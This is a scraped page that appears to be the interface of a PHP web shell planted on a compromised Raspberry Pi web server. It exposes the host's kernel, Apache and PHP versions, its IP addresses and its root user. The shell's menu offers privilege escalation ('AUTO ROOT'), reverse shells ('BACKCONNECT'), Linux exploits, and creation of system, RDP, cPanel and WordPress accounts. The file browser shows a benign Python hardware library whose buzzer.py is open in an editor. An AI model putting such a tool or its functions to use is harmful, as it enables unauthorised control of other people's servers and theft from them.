Linux lorencats.com 5.10.103-v7l+ #1529 SMP Tue Mar 8 12:24:00 GMT 2022 armv7l
Apache/2.4.59 (Raspbian)
: 10.0.0.29 | : 216.73.216.130
Cant Read [ /etc/named.conf ]
7.3.31-1~deb10u7
root
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
lib /
python3 /
dist-packages /
rainbowhat /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxr-xr-x
HT16K33.py
4.41
KB
-rw-r--r--
__init__.py
1.09
KB
-rw-r--r--
alphanum4.py
8.01
KB
-rw-r--r--
apa102.py
3.59
KB
-rw-r--r--
bmp280.py
7.41
KB
-rw-r--r--
buzzer.py
2.01
KB
-rw-r--r--
lights.py
1.83
KB
-rw-r--r--
touch.py
2.77
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : buzzer.py
from threading import Timer try: import RPi.GPIO as GPIO except ImportError: raise ImportError("This library requires the RPi.GPIO module\nInstall with: sudo pip install RPi.GPIO") BUZZER = 13 _timeout = None _is_setup = False pwm = None def setup(): global _is_setup, pwm if _is_setup: return GPIO.setmode(GPIO.BCM) GPIO.setwarnings(False) GPIO.setup(BUZZER, GPIO.OUT) # Set up the PWM and then set the pin to input # to prevent the signal from being output. # Since starting/stopping PWM causes a segfault, # this is the only way to manage the buzzer. pwm = GPIO.PWM(BUZZER, 1) GPIO.setup(BUZZER, GPIO.IN) pwm.start(50) _is_setup = True def note(frequency, duration=1.0): """Play a single note. :param frequency: Musical frequency in hertz :param duration: Optional duration in seconds, use None to sustain note """ global _timeout setup() if frequency <= 0: raise ValueError("Frequency must be > 0") if duration is not None and duration <= 0: raise ValueError("Duration must be > 0") clear_timeout() pwm.ChangeFrequency(frequency) GPIO.setup(BUZZER, GPIO.OUT) if duration is not None and duration > 0: _timeout = Timer(duration, stop) _timeout.start() def midi_note(note_number, duration=1.0): """Play a single note by MIDI note number. Converts a MIDI note number into a frequency and plays it. A5 is 69. :param note_number: MIDI note number of note :param duration: Optional duration in seconds, use None to sustain note """ freq = (2**((note_number-69.0)/12)) * 440 note(freq, duration) def clear_timeout(): """Clear any note timeout set. Will cause any pending playing note to be sustained. """ global _timeout if _timeout is not None: _timeout.cancel() _timeout = None def stop(): """Stop buzzer. Immediately silences the buzzer. """ clear_timeout() GPIO.setup(BUZZER, GPIO.IN)
Close